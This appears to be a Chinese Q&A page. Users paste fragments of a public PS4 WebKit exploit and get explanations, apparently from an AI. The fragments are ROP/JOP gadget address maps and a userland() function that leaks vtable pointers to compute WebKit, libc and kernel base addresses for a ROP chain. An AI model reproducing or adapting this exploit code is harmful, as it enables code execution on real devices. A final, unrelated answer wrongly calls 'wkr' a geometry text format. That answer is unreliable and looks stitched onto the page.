var wkr_gadgetmap = { "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3 }; var wk2_gadgetmap = { "mov [rax], rdi": 0xFFDD7, "mov [rax], rcx": 0x2C9ECA, "mov [rax], cx": 0x15A7D52, }; var hmd_gadgetmap = { "add [r8], r12": 0x2BCE1 }; var ipmi_gadgetmap = { "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B };请解释以上代码?
时间: 2024-04-18 17:34:08 浏览: 253
以上代码定义了四个对象,每个对象都是一个映射(或称为字典),它们分别是:wkr_gadgetmap、wk2_gadgetmap、hmd_gadgetmap和ipmi_gadgetmap。
这些映射对象将字符串作为键,将对应的值作为键值对。这些字符串表示特定的指令或代码片段,而对应的值表示这些指令或代码片段在内存中的地址。
例如,在wkr_gadgetmap对象中,有一个键为"xchg rdi, rsp ; call [rsi - 0x79]"的条目,并且它的值为0x1d74f0。这意味着在内存中,这个指令序列的地址被标记为0x1d74f0。
其他对象也是类似的,它们分别包含了不同指令序列和对应的地址。这种映射关系可以方便地将特定的指令与其在内存中的地址关联起来,以便在需要时可以快速查找和使用它们。
相关问题
function userland() { //RW -> ROP method is strongly based off of: //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit p.launch_chain = launch_chain; p.malloc = malloc; p.malloc32 = malloc32; p.stringify = stringify; p.array_from_address = array_from_address; p.readstr = readstr; //pointer to vtable address var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); //address of vtable var textAreaVtable = p.read8(textAreaVtPtr); //use address of 1st entry (in .text) to calculate webkitbase webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); for (var gadget in wk_gadgetmap) { window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); } for (var gadget in wkr_gadgetmap) { window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); }请解释以上代码?
以上代码是一个JavaScript函数`userland()`的实现。该函数包含了一些操作和变量定义,下面对其中的关键部分进行解释:
1. `p`是一个对象,它包含了一些方法和属性。这些方法和属性用于执行一些特定的操作,如执行ROP(Return-Oriented Programming)链、动态分配内存、字符串处理等。
2. `textArea`是一个变量,它表示一个TextArea元素对象。
3. `textAreaVtPtr`是一个变量,它存储了`textArea`对象的vtable地址。
4. `textAreaVtable`是一个变量,它存储了vtable的地址。
5. `webKitBase`是一个变量,它存储了WebKit内存基址的值。通过读取vtable的第一个入口的地址并减去偏移量`OFFSET_wk_vtable_first_element`计算得出。
6. `libSceLibcInternalBase`是一个变量,它存储了`libSceLibcInternal.so`库的基址。通过解析WebKit中的导入函数`memset`的地址,然后减去偏移量`OFFSET_libcint_memset`计算得出。
7. `libKernelBase`是一个变量,它存储了`libkernel.so`库的基址。通过解析WebKit中的导入函数`__stack_chk_fail`的地址,然后减去偏移量`OFFSET_lk___stack_chk_fail`计算得出。
8. `webKitRequirementBase`是一个变量,它存储了WebKit的需求库`libps4.sprx`的基址。通过解析WebKit中的导入函数`psl_builtin`的地址,然后减去偏移量`OFFSET_WKR_psl_builtin`计算得出。
9. `wk_gadgetmap`和`wkr_gadgetmap`是两个映射对象,分别存储了WebKit和WebKit需求库的gadget(指令序列)和其对应的地址。这些gadget可以用于构建ROP链。
10. 在循环中,将gadget与其对应的地址添加到全局对象`window.gadgets`中。
总体来说,以上代码是在执行一系列操作来获取和计算一些重要的地址,为后续的ROP链构建做准备。ROP链是一种利用程序中已有的代码片段(gadget)来实现特定功能的技术。这段代码通过解析WebKit中的导入函数地址来获取库的基址,并根据预先定义的gadget映射,将它们添加到全局对象中以备后续使用。
shapely wkr转geo
Shapely是一个Python库,用于处理几何图形。wkr是一种文本格式,用于描述几何图形。如果你想将wkr转换为Shapely的几何图形对象,可以使用以下代码:
```python
from shapely.wkt import loads
wkr_geom = "POINT (1 1)"
shapely_geom = loads(wkr_geom)
```
这将把wkr格式的"POINT (1 1)"转换为Shapely的Point对象。你可以使用不同的wkr字符串和Shapely的几何图形对象进行实验。
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